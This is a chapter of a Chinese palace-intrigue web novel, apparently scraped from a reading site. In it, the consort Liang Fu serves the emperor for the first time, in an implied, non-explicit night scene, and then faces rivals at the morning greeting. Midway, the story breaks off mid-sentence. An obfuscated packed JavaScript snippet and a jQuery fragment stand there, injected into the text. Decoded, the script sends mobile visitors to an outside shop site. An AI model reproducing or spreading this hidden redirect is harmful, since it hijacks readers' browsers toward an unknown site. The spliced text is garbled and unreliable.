文趣网 > 其他小说 > 贵妃独得帝心 > 5. 侍寝
    而另一边,梁芙与银翘主仆两人一齐往回走,梁芙搭在银翘小臂上的手些许用力。

    “没看错?”

    银翘摇摇头,声音中细听也还有些颤抖:“应当不会。”

    今日她没有听说哪位王爷要入宫,更何况这是在后宫当中,想来也应当是那一位。

    梁芙咬唇,有些紧张,不知道自己方才那副样子是否会让人觉得造作。

    但从前姨娘说过,芙芙愠怒的时候是最美的。

    忐忑了半日,下午时候,御前传来了消息。

    凝昭殿侍寝。

    梁芙愣住,手底下当差的人也有些愣住。

    半晌,还是点翠险些蹦跶起来,“主子,是您,是您侍寝!”

    新妃入宫半月有余,已有三四位妃嫔侍寝,自家主子位分不是最低的,外貌也独有风采,迟迟不得皇恩,几人也都跟着着急。

    一时间,凝昭殿内喜气洋洋。

    点翠出去当差,头昂起的幅度都大了些,脚下步伐也更加轻快。

    隔壁的气氛自然藏不住,颐华宫正殿内,荣昭仪正在作画,这画已经开始十来日,已然要接近尾声。

    “今日是凝昭殿侍寝。”贴身婢女匆华说。

    荣昭仪头也未抬:“比我想象的还要早些。”

    “这梁宝林也太按部就班了些。”匆华道,新妃入宫虽然还没多少日子,但争风吃醋的事情发生的不少。

    据说毓美人头一次侍寝那会,还有人在御花园中预备勾引皇上。

    更别说平日里请安时候话语当中都暗藏机锋。

    倒是这位梁宝林,每日除了给皇后、荣昭仪请安,大多时候都在自己宫中待着,甚少出去,本分的很。

    最后一笔落下,荣昭仪放下画笔,将画卷拿起来细看。

    分明是个男子,羽扇纶巾,气宇轩昂。

    细细的雨丝之下,男子面庞坚毅。

    不是皇上。

    她看着,似乎有些不满意,“时间久了,本宫记不清了,匆华—”

    叫了匆华过来,荣昭仪指了画卷上男子的右眼之下,“这颗痣,是这么大吗?”

    匆华一时间心情复杂,“主子记得没错。”

    荣昭仪的神情有些恍惚,葱白的指尖在那颗黑色的痣下摩挲数下,到底是感叹:

    “原来我也会慢慢忘记吗?”

    “主子......”

    不知过了多久,荣昭仪面色恢复正常,吩咐匆华将画卷收起来,想起来方才说的话题,“明日早上梁宝林来请安,你见吧,就说本宫身子不舒坦。”

    “哦对了,给些赏赐就是。”

    /

    凝昭殿内。

    主仆几人都在为皇上来而准备着,气氛已从最开始的欢快变为现在的紧张。

    夜色缓缓落下帷幕,时辰将到,梁芙终于从快要凉了的桶中出来。

    水流跟着滑腻的肌肤与线条滑下,很快又被裹上的浴巾吸干。

    分明是和之前沐浴的流程相同,但也许知晓今晚会发生什么,这一切都有了不一样的感觉。

    裸露在外的肌肤颤栗,起了一阵阵的小疙瘩,银翘轻柔把香膏抹上,“主子不必紧张。”

    “一切都按照司寝嬷嬷的教导来,以皇上为重就好。”

    银翘的话使得梁芙紧张的情绪稍落,“好。”

    “皇上驾到—”

    一声通传,梁芙忙出来迎接,本就站在门口侯了一会儿,这会子又往外走了几步,快要到了院子里。

    皇帝看见的时候,有些意外,等她行完礼,方才叫了一声起。

    香气先入鼻腔,是浅淡的如同栀子花一般的,女子就那样站在昏黄的灯火下,眉目浅淡。

    皇帝多看一眼,“怎么到外面来了?”

    梁芙愣住,有些疑惑,不在外面来在哪里?难不成在屋里等吗?

    她轻声:“嫔妾来接您。”

    自然知道是来接他,但也不必要迎到院子里来,似乎不太懂规矩。但这样一句轻轻的来接他,倒使人歇了要苛责的心思

    “朕知道了。”他抬步,与梁芙错身而过的瞬间,张了张唇。

    梁芙听清,而后浅浅笑了起来,她笑时右边脸颊有个浅淡的梨涡,显得整个人乖巧极了,“嫔妾多谢皇上。”

    皇上说,往后不必迎到院子里,在门口便好。

    梁芙想,皇上似乎不是之前自己想的那样?还蛮体贴人的。

    而另一边,已经往前走了数步的皇帝发现没人跟过来,皱了皱眉往后看,见女子还在那处笑。

    美则美矣,但似乎带着些傻气。

    也不知道往前来,到他跟前来伺候他。

    “愣着做甚?”他不悦出声。

    梁芙抿唇,亦步亦趋跟过去。算了,她收回自己方才的想法,皇上也太喜怒不定了些。

    进了内室,梁芙亲自给皇帝奉茶,“嫔妾不善茶艺,皇上若是尝着哪里不对,别怪罪嫔妾,下次嫔妾改。”

    她奉完茶,便站至一边去。

    眼神不敢直接落在皇帝脸上,亦不敢胡乱瞟,只好落在皇帝的手上。

    那双手骨节分明,上面青紫色的经脉清晰可见,恰到好处的力量感与线条感。

    旋即那手微动,执住那盏瓷杯,指腹微微用力,像是在把玩精美的瓷器。

    梁芙见过的男子不多,她在闺中时多半都在府中,除却父兄,就是当差的小厮之类。

    头一次有这样的时候,能静静的,姑且称之为欣赏吧。

    人不可能对于别人直白的目光浑然不觉,敏锐如皇帝,自然早就察觉。

    “你这普洱,有些年份。”

    梁芙说是,“这是嫔妾出生时,父亲所赏,小心存放至今,才带进宫中来。”

    普洱能放,一般而言,十到十五年间的口感最佳,也少有。

    一般有闲暇时间,又有雅兴的人会追求如此品质。

    但皇帝不是不知道梁芙的背景。

    虽出身伯府,但不受宠,想来这老普洱,也是出于拮据才有。

    他前几日去别的后妃宫中,拿来招待他的,都是今年刚出的名茶。

    “皇上别笑话嫔妾,这可是嫔妾宫中最好的茶叶了。”

    女子说这话的时候脸色有些薄红,想来是不好意思,可说话的内容与语气都如此坦荡,没有丝毫遮掩。

    不会说谎。皇帝再一次肯定了自己对于她的看法。

    “味道尚可,醇厚顺滑,保存的不错。”

    梁芙笑了,但又听闻只是二字,刚露出来的笑意又缓缓僵住。

    “只是,老普洱以冬日雪水冲泡为佳,且温度不宜过高,方才使茶汤生香。”

    原来如此,梁芙乖乖点头,“还是皇上懂得多,嫔妾记住了。”

    她说:“那嫔妾将剩余茶叶再妥善保管,等冬日,皇上您再来凝昭殿时,拿出来。”

    皇帝颔首,算是应了。

    五月的夜晚,些许凉爽,梁芙站在一旁瞧着皇帝有一口无一口品茗,下意识抱臂摩挲一下手臂。

    “冷?”

    分明他的视线并没有看过来。

    “......有些。”

    皇帝抬头,瞧见女子纤细的身形,身上的衣裳偏薄,恰到好处勾勒出她的身体形状来。

    他慢条斯理起身,一步一步往梁芙走去,不放过她脸上丝毫的神色变化。

    眼见她脸上流露出来紧张,整个人绷住,他轻笑一声,在她面前几步之处停下,而后抬臂,从她耳旁掠过。

    空气忽然凝滞下来。

    对于梁芙来说是这样的,随着他手部的动作,带来属于他的气息。

    银翘说,皇上有专门自己的熏香,名为龙涎。

    吓得梁芙不着痕迹屏住呼吸,不知这手将会落在何处。

    脸庞?耳畔?亦或是肩膀?

    绕是梁芙做了许久的心理建设,真到了这一刻,还是有些慌乱。

    “紧张?”

    那手并没有同预期一样落在她的身体上。

    梁芙抿唇,以为自己遮掩的很好。

    “吱—”

    耳畔风声微动,一声轻响,是窗户被合上的声音。

    “怕什么,朕关窗罢了。”

    呼,那颗提起的心落下,看见皇帝的表情,梁芙后知后觉,“皇上您故意的?”

    语气温柔,像是娇嗔。

    皇帝只是临时起意,起了逗弄的心思而已。

    “故意什么?”他故意反问。

    见女子脸色越来越红,却支支吾吾说不出来一句完整的话,皇帝今日第二次笑了。

    伸手将人手腕一圈,用力往自己这边带了带,“行了,服侍朕沐浴吧。”

    夜色昏昧,烛灯轻晃,窗幔与衣裳轻轻摇摆。

    今夜的一切如此顺利成章,又如此新奇别致。

    啜泣声、呜咽声、低吼声,就如大珠小珠落玉盘,在夜色里交响。

    /

    翌日,又

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17938371|213782||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    将要到了请安的时候。

    银翘进来,轻轻叫醒还在沉睡当中的梁芙,见到女子身上的痕迹时,暗自低下了头。

    昨夜的动静还犹在耳畔,今日看到这些,便更知昨夜屋内的情形多么靡靡。

    “晚了?”梁芙头如浆糊一般,并不清醒,太累,睡的熟,但多梦,因而睡的并不好。

    “还没有,主子现在起来,来得及。”

    “好。”梁芙一边应着,一边起身下床,下一瞬,惊呼一声,忙扶住了银翘的小臂。

    小腿颤栗无力,某处还有轻微又明显的痛感。

    “主子怎么了?”银翘关心道。

    梁芙闹了个大红脸,不好意思在婢女面前说实话,只摇摇头。

    收拾好赶着时间去正殿请安,却是没有见到荣昭仪的面,但收了赏赐。

    匆华:“主子特意让我等着宝林呢,恭喜宝林。”

    梁芙意外又惶恐,态度愈发多了几分恭敬:

    “多谢昭仪娘娘。”

    总是劳累,但不可否认,梁芙今日的心情是好的,侍寝与得赏双重喜事。

    但到了坤仪宫门口时,她的表情已经恢复如常,不见张扬的喜色。

    “哟,瞧瞧,这是谁来了?”

    梁芙甫一进门,便听到此话,视线往说话人身上一递,认出来是姜才人。

    惯常话多,且话里带刺,梁芙权当做没听见,进去之后照常请安行礼落座。

    但是招了别人眼的人,无论怎么做,都会被人挑刺,“瞧瞧,这侍寝完就是不一样了,底气足足的,也目中无人了些。”

    梁芙没理姜才人,便被揪着这一点发难。

    梁芙笑笑:“姜才人误会了。”

    她就知道,她一侍寝,便就会有更多人看见她,虽然这并非她本意,但也知晓这不可避免。

    “面色倒是红润了不少,瞧着还比以前漂亮了几分。”

    梁芙听出来这话并不含讥讽,是瑾嫔说的话,似乎就是平常的一句感叹。

    但这种事情,怎么说怎么错,梁芙不想说话,抿了抿唇。

    一旁褚才人见状,笑了笑,温和解围:“瑾嫔姐姐说的是,咱们后妃谁见了圣上、承了雨露,不貌美如花呢?”

    梁宝林也就不是例外了。

    瑾嫔瞥了褚才人一眼,没说话,因为觉得褚才人说的也没错。

    “还是褚才人好,早就听说褚才人与梁宝林情同姐妹,现在来看果然是。”

    在暗讽她侍寝,褚才人心里没有不舒坦呢。

    ......梁芙心里其实很烦躁,这些个后妃,请安的时候就没有消停过,老是拿她和褚姐姐的姐妹情来说事做什么?

    她扯唇笑笑,语气温柔:“难道高姐姐就没有姐妹吗?若是没有,不能体会也算是情有可原,若是有姐妹,还不能体会,那就,有些可悲了。”

    “我当然有姐妹,但是......”总不能共侍一夫吧,这算劳什子姐妹?

    后面这句话还没有说出来,淑妃与皇后到了的通传声便响了起来,于是乎就被吞回。

    高宝林冷冷看了一眼梁芙。

    后者没有错过,对此只觉得莫名其妙。

    这高宝林是之前在王府时候的老人了,梁芙自诩这些日子她并没有哪里惹到这位,怎么敌意来的如此莫名其妙?

    后续请安便都如常一样,都准备散了,却听见高宝林说有些头疼。

    皇后看了一眼,关心道:“可是昨晚上没有休息好?”

    高宝林摇摇头,就是不说原因。

    空气短暂的安静一瞬,姜才人面色担忧:“可是被梁宝林气着了?”

    高宝林咬了咬唇。

    “哎哟,那便是了,皇后娘娘,方才啊,这梁宝林出言不逊,想来便是这个原因。”

    “哦?”皇后出声,“是何事?”

    视线是落在梁芙身上,梁芙无语一瞬,起身行礼,低眉顺眼的柔声实话实说。

    皇后皱眉,说是梁芙出言不逊委实有些牵强,分明就是高宝林争风吃醋在先。

    “谁侍寝,乃是圣意,诸位都是姐妹,断不能为此争风吃醋。”

    “皇后说的是,嫔妾也知晓。”高宝林起身,“只是,嫔妾可能是刚有身孕,情绪有些不太稳定。”

    什么?高宝林这一句话,将众人的视线都吸引了过去,就见她一手轻抚着自己的肚子。

    高宝林抬眸:“所以梁宝林说那些话,嫔妾才感觉有些被气到了呢。”